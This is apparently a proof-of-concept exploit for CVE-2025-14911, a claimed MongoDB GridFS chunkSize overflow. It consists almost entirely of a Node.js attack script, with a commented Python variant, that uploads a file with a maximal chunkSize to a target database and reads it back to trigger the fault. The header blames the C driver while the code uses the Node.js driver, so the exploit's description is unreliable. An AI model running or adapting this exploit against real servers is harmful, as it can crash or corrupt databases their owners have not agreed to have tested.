CVE-2025-14911 MongoDB GridFS chunkSize元数据验证缺失导致缓冲区溢出

// CVE-2025-14911 PoC - MongoDB GridFS chunkSize Overflow // Author: Security Researcher // Environment: MongoDB with vulnerable CDRIVER version const { MongoClient, GridFSBucket } = require('mongodb'); async function exploitCVE202514911() { const mongoUri = 'mongodb://target:27017/vulnerable_db'; const client = new MongoClient(mongoUri); try { await client.connect(); const db = client.db(); const bucket = new GridFSBucket(db, { bucketName: 'test' }); // Malicious chunkSize that triggers overflow // Setting extremely large value without validation const maliciousChunkSize = 0xFFFFFFFF; // Max uint32 value console.log('[+] Creating GridFS bucket with malicious chunkSize...'); // Attempt to create file with malicious metadata const uploadStream = bucket.openUploadStream('malicious_file.txt', { chunkSizeBytes: maliciousChunkSize }); const maliciousData = Buffer.from('A'.repeat(1024)); uploadStream.write(maliciousData); uploadStream.end(); await new Promise((resolve, reject) => { uploadStream.on('finish', resolve); uploadStream.on('error', reject); }); console.log('[+] Malicious file uploaded successfully'); console.log('[+] Triggering overflow condition...'); // Read back the file to trigger processing const downloadStream = bucket.openDownloadStreamByName('malicious_file.txt'); downloadStream.on('data', (chunk) => { console.log('[+] Received chunk:', chunk.length); }); downloadStream.on('end', () => { console.log('[+] Download completed'); }); downloadStream.on('error', (err) => { console.log('[!] Error occurred (potential overflow):', err.message); }); } catch (error) { console.error('[-] Exploitation failed:', error.message); } finally { await client.close(); } } // Python version using pymongo // from pymongo import MongoClient // from gridfs import GridFS // // client = MongoClient('mongodb://target:27017/') // db = client['vulnerable_db'] // fs = GridFS(db) // // # Malicious chunkSize // malicious_chunksize = 0xFFFFFFFF // // with open('payload.bin', 'rb') as f: // fs.put(f, chunkSize=malicious_chunksize) // Run the exploit // exploitCVE202514911();